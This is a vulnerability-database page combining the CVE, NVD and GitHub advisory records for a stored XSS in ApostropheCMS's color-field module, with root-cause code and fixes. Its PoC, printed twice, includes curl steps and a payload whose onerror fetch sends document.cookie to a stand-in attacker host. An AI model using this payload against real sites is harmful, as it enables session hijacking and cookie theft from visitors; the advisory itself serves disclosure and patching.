Vulnerability-Lookup

CVE-2026-33889 (GCVE-0-2026-33889)

Vulnerability from cvelistv5 – Published: 2026-04-15 19:29 – Updated: 2026-04-16 12:05

Title

ApostropheCMS: Stored XSS via CSS Custom Property Injection in `@apostrophecms/color-field` Escaping Style Tag Context

Summary

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into <style> tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-16 11:26 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7734 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
apostrophecms	apostrophe	Affected: < 4.29.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33889

Vulnerability from fkie_nvd - Published: 2026-04-15 20:16 - Updated: 2026-06-17 10:38

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481	Patch
security-advisories@github.com	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	apostrophecms	apostrophecms	*

JSON

To clipboard

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GHSA-97V6-998M-FP4G

Vulnerability from github – Published: 2026-04-16 20:42 – Updated: 2026-04-16 20:42

Summary

ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context

Details

Summary

The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.

Details

Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)

The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:

// modules/@apostrophecms/color-field/index.js:26-38
async convert(req, field, data, destination) {
  destination[field.name] = self.apos.launder.string(data[field.name]);
  // ...
  const test = new TinyColor(destination[field.name]);
  if (!test.isValid && !destination[field.name].startsWith('--')) {
    destination[field.name] = null;
  }
},

A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.

Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)

The getWidgetElements() method concatenates the CSS string directly into a <style> tag:

// modules/@apostrophecms/styles/lib/methods.js:232-234
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  css +
  '\n</style>';

This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).

Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)

The renderNodes() function returns node.raw without escaping:

// modules/@apostrophecms/template/index.js:1164-1165
if (node.raw != null) {
  return node.raw;
}

Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.

PoC

Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.

Step 1: Authenticate and obtain a CSRF token and session cookie.

# Login as editor
COOKIE_JAR=$(mktemp)
curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"editor123"}'

# Extract CSRF token
CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

Step 2: Create or update a piece/page with a malicious color value in a styled widget.

The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):

# Inject XSS payload via color field in widget styles
# The --x prefix bypasses TinyColor validation
PAYLOAD='--x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>'

curl -s -b "$COOKIE_JAR" -X POST \
  "http://localhost:3000/api/v1/@apostrophecms/page" \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $CSRF" \
  -d '{
    "slug": "/xss-test",
    "title": "Test Page",
    "type": "default-page",
    "main": {
      "items": [{
        "type": "some-widget",
        "styles": {
          "backgroundColor": "'"$PAYLOAD"'"
        }
      }]
    }
  }'

Step 3: Publish the page.

curl -s -b "$COOKIE_JAR" -X POST \
  "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \
  -H "X-XSRF-TOKEN: $CSRF"

Step 4: Any visitor navigates to the published page.

# As an unauthenticated visitor
curl -s http://localhost:3000/xss-test | grep -A2 'onerror'

Expected (safe): The color value is escaped or rejected.

Actual: The rendered HTML contains:

<style data-apos-widget-style-for="..." data-apos-widget-style-id="...">
.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>; }
</style>

The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.

Impact

Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.
Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.
Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.
No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.

Recommended Fix

Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):

// Before (line 36):
if (!test.isValid && !destination[field.name].startsWith('--')) {
  destination[field.name] = null;
}

// After:
if (!test.isValid && !destination[field.name].startsWith('--')) {
  destination[field.name] = null;
} else if (destination[field.name].startsWith('--')) {
  // CSS custom property names: only allow alphanumeric, hyphens, underscores
  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {
    destination[field.name] = null;
  }
}

Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):

// Before (line 232-234):
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  css +
  '\n</style>';

// After:
const sanitizedCss = css.replace(/<\//g, '<\\/');
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  sanitizedCss +
  '\n</style>';

Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:42:37Z",
    "nvd_published_at": "2026-04-15T20:16:35Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `\u003cstyle\u003e` tags \u2014 both in the global stylesheet (editors only) and in per-widget style elements (all visitors) \u2014 the lack of escaping allows an editor to inject `\u003c/style\u003e` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field\u0027s `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n  destination[field.name] = self.apos.launder.string(data[field.name]);\n  // ...\n  const test = new TinyColor(destination[field.name]);\n  if (!test.isValid \u0026\u0026 !destination[field.name].startsWith(\u0027--\u0027)) {\n    destination[field.name] = null;\n  }\n},\n```\n\nA value like `--x: red}\u003c/style\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003cstyle\u003e` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only \u2014 it does not strip HTML metacharacters like `\u003c`, `\u003e`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `\u003cstyle\u003e` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  \u0027\\n\u003c/style\u003e\u0027;\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n  return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"editor\",\"password\":\"editor123\"}\u0027\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o \u0027\"csrfToken\":\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site\u0027s widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD=\u0027--x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e\u0027\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\" \\\n  -d \u0027{\n    \"slug\": \"/xss-test\",\n    \"title\": \"Test Page\",\n    \"type\": \"default-page\",\n    \"main\": {\n      \"items\": [{\n        \"type\": \"some-widget\",\n        \"styles\": {\n          \"backgroundColor\": \"\u0027\"$PAYLOAD\"\u0027\"\n        }\n      }]\n    }\n  }\u0027\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 \u0027onerror\u0027\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n\u003cstyle data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\"\u003e\n.apos-widget-style-... { background-color: --x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e; }\n\u003c/style\u003e\n```\n\nThe injected `\u003c/style\u003e` closes the style tag, and the `\u003cimg onerror\u003e` executes JavaScript in the visitor\u0027s browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site\u0027s entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field\u0027s `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith(\u0027--\u0027)) {\n  destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith(\u0027--\u0027)) {\n  destination[field.name] = null;\n} else if (destination[field.name].startsWith(\u0027--\u0027)) {\n  // CSS custom property names: only allow alphanumeric, hyphens, underscores\n  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n    destination[field.name] = null;\n  }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  \u0027\\n\u003c/style\u003e\u0027;\n\n// After:\nconst sanitizedCss = css.replace(/\u003c\\//g, \u0027\u003c\\\\/\u0027);\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  sanitizedCss +\n  \u0027\\n\u003c/style\u003e\u0027;\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).",
  "id": "GHSA-97v6-998m-fp4g",
  "modified": "2026-04-16T20:42:37Z",
  "published": "2026-04-16T20:42:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context"
}

Sightings

Author	Source	Type	Date	Other

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-33889 (GCVE-0-2026-33889)

FKIE_CVE-2026-33889

GHSA-97V6-998M-FP4G

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